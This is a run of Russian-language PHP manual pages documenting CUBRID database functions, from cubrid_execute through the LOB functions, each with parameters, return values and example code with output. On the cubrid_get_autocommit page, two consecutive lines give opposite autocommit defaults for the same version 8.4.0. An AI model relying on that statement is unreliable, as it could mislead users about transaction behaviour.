  • Если в каком-либо запросе возникает ошибка, выполнение обрабатывается как сбой.
  • В запросе, состоящем из q1 q2 q3, если ошибка возникает в q2 после успешного выполнения q1, результат q1 остаётся действительным. То есть предыдущее успешное выполнение запроса не откатывается в случае возникновения ошибки.
  • В случае успешного выполнения запроса, результат второго запроса можно получить с помощью cubrid_next_result().

Если первым аргументом является request_identifier для выполнения функции cubrid_prepare() можно указать только CUBRID_ASYNC.

Список параметров

conn_identifier

Идентификатор соединения.

sql

SQL для выполнения.

option

Вариант выполнения запроса: CUBRID_INCLUDE_OID, CUBRID_ASYNC, CUBRID_EXEC_QUERY_ALL.

request_identifier

Идентификатор cubrid_prepare().

Возвращаемые значения

Идентификатор запроса в случае успешного выполнения запроса и если первым параметром является conn_identifier; true, в случае успешного выполнения запроса и первым аргументом request_identifier или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.4.0 | Добавлен новый параметр CUBRID_EXEC_QUERY_ALL.

Примеры

Пример #1 Пример использования cubrid_execute()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE name='100m Butterfly' and gender='M'", CUBRID_ASYNC);
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$history_req = cubrid_prepare($conn, "SELECT * FROM history WHERE event_code=?");
cubrid_bind($history_req, 1, $event_code, "number");
cubrid_execute($history_req);

printf("%-20s %-9s %-10s %-5s\n", "athlete", "host_year", "score", "unit");
while ($row = cubrid_fetch_array($history_req, CUBRID_ASSOC)) {
printf("%-20s %-9s %-10s %-5s\n",
$row["athlete"], $row["host_year"], $row["score"], $row["unit"]);
}

cubrid_close_request($history_req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

athlete              host_year score      unit
Phelps Michael       2004      51.25      time

Смотрите также

  • cubrid_prepare() - Подготавливает SQL-выражение к выполнению
  • cubrid_bind() - Связывает переменные с подготовленным запросом
  • cubrid_next_result() - Получает результат следующего запроса при выполнении нескольких SQL-операторов
  • cubrid_close_request() - Закрывает обработчик запроса
  • cubrid_commit() - Подтверждение транзакции
  • cubrid_rollback() - Откат транзакции

User Contributed Notes

There are no user contributed notes for this page.


Выбирает следующую строку из набора результатов

  • « cubrid_execute
  • cubrid_free_result »
  • PHP Manual
  • Функции CUBRID
  • Выбирает следующую строку из набора результатов

cubrid_fetch

(PECL CUBRID >= 8.3.0)

cubrid_fetch — Выбирает следующую строку из набора результатов

Описание

cubrid_fetch(resource $result, int $type = CUBRID_BOTH): mixed

Функция cubrid_fetch() используется для получения одной строки из результата запроса. Курсор автоматически переместится на следующую строку после получения результата.

Список параметров

result

result, полученный из cubrid_execute()

type

Тип массива полученного результата CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH, CUBRID_OBJECT. Для управления LOB-объектом, используйте CUBRID_LOB.

Возвращаемые значения

Массив результатов или объект, в случае успешного выполнения процесса.

false, если строк больше нет; NULL в случае возникновения ошибки.

Результат может быть получен либо как массив, либо как объект, установка параметра type определяет, какой тип данных использовать. Переменной type можно присвоить одно из следующих значений:

  • CUBRID_NUM : Числовой массив (начиная с 0)
  • CUBRID_ASSOC : Ассоциативный массив
  • CUBRID_BOTH : Числовой & ассоциативный массив (по умолчанию)
  • CUBRID_OBJECT : объект, с именем атрибута в качестве имени столбца результата запроса

Если параметр type опущен, результат будет получен с использованием опции CUBRID_BOTH по умолчанию. Для получения результата запроса в виде объектных данных, имя столбца результата должно подчиняться правилам именования идентификаторов в PHP. Например, имя столбца, такое как "count(*)", не может быть получено в виде объекта.

Примеры

Пример #1 Пример использования cubrid_fetch()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT * FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch($req)) {
printf("%-40s %-10s %-6s %-20s\n",
$row["name"], $row["area"], $row["seats"], $row["address"]);
}

// для управления LOB-объектом, можно использовать cubrid_fetch($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_fetch_array() - Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
  • cubrid_fetch_row() - Извлечь строку из результирующего набора в виде индексированного массива
  • cubrid_fetch_assoc() - Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_fetch_object() - Извлечь следующую строку как объект

User Contributed Notes

There are no user contributed notes for this page.


Освобождает память, занятую данными результата

  • « cubrid_fetch
  • cubrid_get_autocommit »
  • PHP Manual
  • Функции CUBRID
  • Освобождает память, занятую данными результата

cubrid_free_result

(PECL CUBRID >= 8.3.0)

cubrid_free_result — Освобождает память, занятую данными результата

Описание

cubrid_free_result(resource $req_identifier): bool

Функция освобождает память, занятую данными результата. Она возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Стоит обратить внимание, что функция теперь может только освобождать буфер выборки клиента, и если необходимо освободить всю память, то нужно использовать функцию cubrid_close_request().

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_free_result()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM history WHERE host_year=2004 ORDER BY event_code");
$row = cubrid_fetch_assoc($req);
var_dump($row);

cubrid_free_result($req);
cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(5) {
  ["event_code"]=>
  string(5) "20005"
  ["athlete"]=>
  string(12) "Hayes Joanna"
  ["host_year"]=>
  string(4) "2004"
  ["score"]=>
  string(5) "12.37"
  ["unit"]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает настройку авто-коммита для соединения

  • « cubrid_free_result
  • cubrid_get_charset »
  • PHP Manual
  • Функции CUBRID
  • Возвращает настройку авто-коммита для соединения

cubrid_get_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_get_autocommit — Возвращает настройку авто-коммита для соединения

Описание

cubrid_get_autocommit(resource $conn_identifier): bool

Функция cubrid_get_autocommit() используется для определения, разрешён ли в этом соединении авто-коммит или нет.

Для CUBRID 8.4.0, авто-коммит транзакций запрещён по умолчанию.

Для CUBRID 8.4.0, авто-коммит транзакций разрешён по умолчанию.

Список параметров

conn_identifier

Идентификатор соединения.

Возвращаемые значения

true, если авто-коммит разрешён.

false, если авто-коммит запрещён.

null в случае возникновения ошибки.

Смотрите также

  • cubrid_set_autocommit() - Устанавливает режим авто-коммита для соединения
  • cubrid_commit() - Подтверждение транзакции

User Contributed Notes

There are no user contributed notes for this page.


Возвращает кодировку текущего соединения CUBRID

  • « cubrid_get_autocommit
  • cubrid_get_class_name »
  • PHP Manual
  • Функции CUBRID
  • Возвращает кодировку текущего соединения CUBRID

cubrid_get_charset

(PECL CUBRID >= 8.3.0)

cubrid_get_charset — Возвращает кодировку текущего соединения CUBRID

Описание

cubrid_get_charset(resource $conn_identifier): string

Эта функция возвращает кодировку текущего соединения CUBRID и аналогична функции совместимости CUBRID MySQL cubrid_client_encoding().

Список параметров

conn_identifier

Идентификатор соединения.

Возвращаемые значения

Строка, содержащая кодировку текущего соединения CUBRID в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_charset()

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_get_charset($con));

?>

Результат выполнения данного примера:

CUBRID current charset: iso8859-1

Смотрите также

  • cubrid_client_encoding() - Возвращает кодировку текущего соединения CUBRID

User Contributed Notes

There are no user contributed notes for this page.


Получает имя класса с помощью OID

  • « cubrid_get_charset
  • cubrid_get_client_info »
  • PHP Manual
  • Функции CUBRID
  • Получает имя класса с помощью OID

cubrid_get_class_name

(PECL CUBRID >= 8.3.0)

cubrid_get_class_name — Получает имя класса с помощью OID

Описание

cubrid_get_class_name(resource $conn_identifier, string $oid): string

Функция cubrid_get_class_name() используется для получения имени класса из параметра oid. Не работает при выборе данных из системных таблиц, например db_class.

Список параметров

conn_identifier

Идентификатор подключения.

oid

OID экземпляра, существование которого необходимо проверить.

Возвращаемые значения

Имя класса при успешном завершении процесса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_class_name()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$class_name = cubrid_get_class_name($conn, $oid);

print_r($class_name);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

code

Смотрите также

  • cubrid_is_instance() - Проверяет, существует ли экземпляр, на который указывает OID
  • cubrid_drop() - Удаление экземпляра по OID

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию клиентской библиотеки

  • « cubrid_get_class_name
  • cubrid_get_db_parameter »
  • PHP Manual
  • Функции CUBRID
  • Возвращает версию клиентской библиотеки

cubrid_get_client_info

(PECL CUBRID >= 8.3.0)

cubrid_get_client_info — Возвращает версию клиентской библиотеки

Описание

cubrid_get_client_info(): string

Функция возвращает строку, представляющую версию клиентской библиотеки.

Список параметров

Возвращаемые значения

Строка, представляющая версию клиентской библиотеки в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_client_info()

<?php
printf("%-30s %s\n", "Версия CUBRID PHP:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Ошибка подключения ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Информация о сервере:", $server_info);
printf("%-30s %s\n", "Информация о клиенте:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "Кодировка CUBRID:", $charset);

cubrid_disconnect($conn);

?>

Результат выполнения данного примера:

Версия CUBRID PHP:             9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Информация о сервере:          9.1.0.0212
Информация о клиенте:          9.1.0

Кодировка CUBRID:              iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметры базы данных CUBRID

  • « cubrid_get_client_info
  • cubrid_get_query_timeout »
  • PHP Manual
  • Функции CUBRID
  • Возвращает параметры базы данных CUBRID

cubrid_get_db_parameter

(PECL CUBRID >= 8.3.0)

cubrid_get_db_parameter — Возвращает параметры базы данных CUBRID

Описание

cubrid_get_db_parameter(resource $conn_identifier): array

Функция возвращает параметры базы данных CUBRID или false в случае возникновения ошибки. Возвращается ассоциативный массив со значениями следующих параметров:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT
  • PARAM_MAX_STRING_LENGTH
  • PARAM_AUTO_COMMIT

Параметры базы данных
Параметр | Описание
PARAM_ISOLATION_LEVEL | Уровень изоляции транзакции.
LOCK_TIMEOUT | CUBRID предоставляет функцию времени ожидания блокировки, которая устанавливает время ожидания (в секундах) для блокировки до тех пор, пока не будет разрешена настройка блокировки транзакции. Значение по умолчанию для параметра lock_timeout_in_secs равно -1, что означает, что клиент приложения будет ждать бесконечно, пока блокировка транзакции не будет разрешена.
PARAM_AUTO_COMMIT | В CUBRID PHP режим автоматической фиксации отключён по умолчанию для управления транзакциями. Его можно установить с помощью cubrid_set_autocommit().

В следующей таблице показаны уровни изоляции от 1 до 6. Она состоит из схемы (строки) таблицы и уровня изоляции:

Уровни изоляции, поддерживаемые CUBRID
Имя | Описание
SERIALIZABLE (6) | На этом уровне изоляции проблем, связанных с параллелизмом (например, грязное чтение, неповторяющееся чтение, фантомное чтение и т.д.) не возникает.
REPEATABLE READ CLASS с REPEATABLE READ INSTANCES (5) | Другая транзакция T2 не может обновить схему таблицы A, пока транзакция T1 просматривает таблицу A. Транзакция T1 может испытывать фантомное чтение для записи R, которая была вставлена другой транзакцией T2, когда она повторно получает определённую запись.
REPEATABLE READ CLASS с READ COMMITTED INSTANCES (или CURSOR STABILITY) (4) | Другая транзакция T2 не может обновить схему таблицы A, пока транзакция T1 просматривает таблицу A. Транзакция T1 может испытывать чтение R (неповторяющееся чтение), которое было обновлено и зафиксировано другой транзакцией T2, когда она повторно получает запись R.
REPEATABLE READ CLASS с READ UNCOMMITTED INSTANCES (3) | Уровень изоляции по умолчанию. Другая транзакция T2 не может обновить схему таблицы A, пока транзакция T1 просматривает таблицу A. В транзакции T1 может произойти чтение R (грязное чтение) для записи, которая была обновлена, но не зафиксирована другой транзакцией T2.
READ COMMITTED CLASS с READ COMMITTED INSTANCES (2) | Транзакция T1 может испытывать чтение A' (неповторяющееся чтение) для таблицы, которая была обновлена и зафиксирована другой транзакцией T2, пока она просматривает таблицу A несколько раз. Транзакция T1 может испытывать чтение R' (неповторяющееся чтение) для записи, которая была обновлена и зафиксирована другой транзакцией T2, пока она повторно извлекает запись R.
READ COMMITTED CLASS с READ UNCOMMITTED INSTANCES (1) | Транзакция T1 может испытывать чтение A' (неповторяющееся чтение) для таблицы, которая была обновлена и зафиксирована другой транзакцией T2, в то время как она многократно просматривает таблицу A. Транзакция T1 может испытывать чтение R' (грязное чтение) для записи, которая была обновлена, но не зафиксирована другой транзакцией T2.

Список параметров

conn_identifier

Соединение CUBRID. Если идентификатор соединения не указан, предполагается последняя ссылка, открытая cubrid_connect().

Возвращаемые значения

Ассоциативный массив с параметрами базы данных CUBRID в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.4.0 | В результате изменился LOCK_TIMEOUT на PARAM_LOCK_TIMEOUT и MAX_STRING_LENGTH на PARAM_MAX_STRING_LENGTH.

Примеры

Пример #1 Пример использования cubrid_get_db_parameter()

<?php
printf("%-30s %s\n", "Версия CUBRID PHP:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Информация о сервере:", $server_info);
printf("%-30s %s\n", "Информация о клиенте:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "Кодировка CUBRID:", $charset);

cubrid_disconnect($conn);

?>

Результат выполнения данного примера:

Версия CUBRID PHP:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Информация о сервере:             9.1.0.0212
Информация о клиенте:             9.1.0

Кодировка CUBRID:                iso8859-1

Смотрите также

  • cubrid_set_db_parameter() - Устанавливает параметры базы данных CUBRID
  • cubrid_get_autocommit() - Возвращает настройку авто-коммита для соединения

User Contributed Notes

There are no user contributed notes for this page.


Получает значение времени ожидания запроса

  • « cubrid_get_db_parameter
  • cubrid_get_server_info »
  • PHP Manual
  • Функции CUBRID
  • Получает значение времени ожидания запроса

cubrid_get_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_get_query_timeout — Получает значение времени ожидания запроса

Описание

cubrid_get_query_timeout(resource $req_identifier): int

Функция cubrid_get_query_timeout() используется для получения времени ожидания запроса.

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Возвращает значение времени ожидания текущего запроса в миллисекундах в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_query_timeout()

<?php

$host = "localhost";
$port = 33000;
$db = "demodb";

$conn =
cubrid_connect_with_url("CUBRID:$host:$port:$db:::?login_timeout=50000&query_timeout=5000&disconnect_on_query_timeout=yes");

$req = cubrid_prepare($conn, "SELECT * FROM code");

$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_set_query_timeout($req, 1000);
$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_close($conn);
?>

Результат выполнения данного примера:

int(5000)
int(1000)

Смотрите также

  • cubrid_set_query_timeout() - Устанавливает время ожидания выполнения запроса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию сервера CUBRID

  • « cubrid_get_query_timeout
  • cubrid_get »
  • PHP Manual
  • Функции CUBRID
  • Возвращает версию сервера CUBRID

cubrid_get_server_info

(PECL CUBRID >= 8.3.0)

cubrid_get_server_info — Возвращает версию сервера CUBRID

Описание

cubrid_get_server_info(resource $conn_identifier): string

Функция возвращает строку, представляющую версию сервера CUBRID.

Список параметров

conn_identifier

Соединение CUBRID.

Возвращаемые значения

Строка, представляющая версию сервера CUBRID в случае успешного выполнения, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_server_info()

<?php
printf("%-30s %s\n", "Версия CUBRID PHP:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Ошибка подключения ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Информация о сервере:", $server_info);
printf("%-30s %s\n", "Информация о клиенте:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "Кодировка CUBRID:", $charset);

cubrid_disconnect($conn);

?>

Результат выполнения данного примера:

Версия CUBRID PHP:             9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Информация о сервере:          9.1.0.0212
Информация о клиенте:          9.1.0

Кодировка CUBRID:              iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Получает столбец, используя OID

  • « cubrid_get_server_info
  • cubrid_insert_id »
  • PHP Manual
  • Функции CUBRID
  • Получает столбец, используя OID

cubrid_get

(PECL CUBRID >= 8.3.0)

cubrid_get — Получает столбец, используя OID

Описание

cubrid_get(resource $conn_identifier, string $oid, mixed $attr = ?): mixed

Функция cubrid_get() используется для получения атрибута экземпляра данного oid. Вы можете получить один атрибут, используя строковый тип данных для аргумента attr, или множество атрибутов, используя тип данных массива для аргумента attr.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, который вы хотите прочитать.

attr

Имя атрибута, который вы хотите прочитать.

Возвращаемые значения

Содержимое запрошенного атрибута, когда процесс успешен; Когда attr установлен со строковым типом данных, результат возвращается в виде строки; если для attr задан тип данных массива (числовой массив, начинающийся с 0), то результат возвращается в ассоциативном массиве. Когда attr опущен, все атрибуты принимаются в виде массива.

false, если процесс завершился с ошибкой или результат NULL (если возникает ошибка, чтобы отличить пустую строку от NULL, печатается предупреждающее сообщение. Вы можете проверить ошибку, используя cubrid_error_code())

Примеры

Пример #1 Пример использования cubrid_get()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

Смотрите также

  • cubrid_put() - Обновляет столбец с использованием OID

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT

  • « cubrid_get
  • cubrid_is_instance »
  • PHP Manual
  • Функции CUBRID
  • Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT

cubrid_insert_id

(PECL CUBRID >= 8.3.0)

cubrid_insert_id — Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT

Описание

cubrid_insert_id(resource $conn_identifier = ?): string

Функция cubrid_insert_id() возвращает идентификатор, сгенерированный для столбца AUTO_INCREMENT, который обновляется предыдущим запросом INSERT. Она возвращает 0, если предыдущий запрос не генерирует новые строки, или FALSE в случае возникновения ошибки.

Замечание:

CUBRID поддерживает AUTO_INCREMENT для более чем одного столбца в таблице. В большинстве случаев в таблице будет один столбец AUTO_INCREMENT. Если имеется несколько столбцов AUTO_INCREMENT, данную функцию не следует использовать, даже если она вернёт значение.

Список параметров

conn_identifier

Идентификатор соединения, полученный ранее при вызове cubrid_connect().

Возвращаемые значения

Строка, представляющая идентификатор, сгенерированный для столбца AUTO_INCREMENT предыдущим запросом в случае успешного выполнения.

0, если предыдущий запрос не сгенерировал новые строки.

false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.4.0 | Возвращаемое значение в виде массива заменено на строку; Удалён первый параметр class_name.

Примеры

Пример #1 Пример использования cubrid_insert_id()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d int AUTO_INCREMENT(1, 2), t varchar)");

for ($i = 0; $i < 10; $i++) {
cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

$id = cubrid_insert_id();
var_dump($id);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

string(2) "19"

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли экземпляр, на который указывает OID

  • « cubrid_insert_id
  • cubrid_lob_close »
  • PHP Manual
  • Функции CUBRID
  • Проверяет, существует ли экземпляр, на который указывает OID

cubrid_is_instance

(PECL CUBRID >= 8.3.0)

cubrid_is_instance — Проверяет, существует ли экземпляр, на который указывает OID

Описание

cubrid_is_instance(resource $conn_identifier, string $oid): int

Функция cubrid_is_instance() используется, чтобы проверить, существует ли экземпляр, на который указывает данный oid, или нет.

Список параметров

conn_identifier

Идентификатор подключения.

oid

OID экземпляра, существование которого требуется проверить.

Возвращаемые значения

1, если такой экземпляр существует;

0, если такого экземпляра не существует;

-1 в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_is_instance()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT host_year, medal, game_date
FROM game
WHERE athlete_code IN
(SELECT code FROM athlete WHERE name='Thorpe Ian');
EOD;

$req = cubrid_execute($conn, $sql, CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);

$res = cubrid_is_instance ($conn, $oid);
if ($res == 1) {
echo "Экземпляр, на который указывает $oid, существует.\n";
} else if ($res == 0){
echo "Экземпляр, на который указывает $oid, не существует.\n";
} else {
echo "Ошибка\n";
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Экземпляр, на который указывает @0|0|0, не существует.

Смотрите также

  • cubrid_drop() - Удаление экземпляра по OID
  • cubrid_get_class_name() - Получает имя класса с помощью OID

User Contributed Notes

There are no user contributed notes for this page.


Закрывает данные BLOB/CLOB

  • « cubrid_is_instance
  • cubrid_lob_export »
  • PHP Manual
  • Функции CUBRID
  • Закрывает данные BLOB/CLOB

cubrid_lob_close

(PECL CUBRID >= 8.3.1)

cubrid_lob_close — Закрывает данные BLOB/CLOB

Описание

cubrid_lob_close(array $lob_identifier_array): bool

cubrid_lob_close() используется для закрытия всех BLOB/CLOB, возвращаемых функцией cubrid_lob_get().

Список параметров

lob_identifier_array

Массив идентификаторов LOB, возвращённый cubrid_lob_get().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob_close()

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Размер документа: ".cubrid_lob_size($lobs[0])." байтов";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob_get() - Получает данные BLOB/CLOB
  • cubrid_lob_size() - Получает размер данных BLOB/CLOB
  • cubrid_lob_export() - Экспортирует данные BLOB/CLOB в файл
  • cubrid_lob_send() - Читает данные BLOB/CLOB и отправляет их прямо в браузер

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует данные BLOB/CLOB в файл

  • « cubrid_lob_close
  • cubrid_lob_get »
  • PHP Manual
  • Функции CUBRID
  • Экспортирует данные BLOB/CLOB в файл

cubrid_lob_export

(PECL CUBRID >= 8.3.1)

cubrid_lob_export — Экспортирует данные BLOB/CLOB в файл

Описание

cubrid_lob_export(resource $conn_identifier, resource $lob_identifier, string $path_name): bool

cubrid_lob_export() используется для получения данных BLOB/CLOB из базы данных CUBRID и сохранения их содержимого в файл. Чтобы использовать данную функцию, необходимо сначала использовать cubrid_lob_get(), чтобы получить информацию BLOB/CLOB из CUBRID.

Список параметров

conn_identifier

Идентификатор подключения.

lob_identifier

Идентификатор LOB.

path_name

Имя пути к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob_export()

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Размер документа: ".cubrid_lob_size($lobs[0])." байтов";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob_get() - Получает данные BLOB/CLOB
  • cubrid_lob_close() - Закрывает данные BLOB/CLOB
  • cubrid_lob_size() - Получает размер данных BLOB/CLOB
  • cubrid_lob_send() - Читает данные BLOB/CLOB и отправляет их прямо в браузер

User Contributed Notes

There are no user contributed notes for this page.


Получает данные BLOB/CLOB

  • « cubrid_lob_export
  • cubrid_lob_send »
  • PHP Manual
  • Функции CUBRID
  • Получает данные BLOB/CLOB

cubrid_lob_get

(PECL CUBRID >= 8.3.1)

cubrid_lob_get — Получает данные BLOB/CLOB

Описание

cubrid_lob_get(resource $conn_identifier, string $sql): array

cubrid_lob_get() используется для получения метаинформации BLOB/CLOB из базы данных CUBRID, CUBRID получает BLOB/CLOB, выполняя оператор SQL, и возвращает все LOB в виде массива ресурсов. Необходимо убедиться, что SQL возвращает только один столбец, и его тип данных - BLOB или CLOB.

Не стоит забывать об использовании cubrid_lob_close() для освобождения LOB, если они больше не нужны.

Список параметров

conn_identifier

Идентификатор подключения.

sql

Выполняемый оператор SQL.

Возвращаемые значения

Возвращает массив LOB-ресурсов в случае успешного выполнения процесса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob_get()

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Размер документа: ".cubrid_lob_size($lobs[0])." байтов";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob_close() - Закрывает данные BLOB/CLOB
  • cubrid_lob_size() - Получает размер данных BLOB/CLOB
  • cubrid_lob_export() - Экспортирует данные BLOB/CLOB в файл
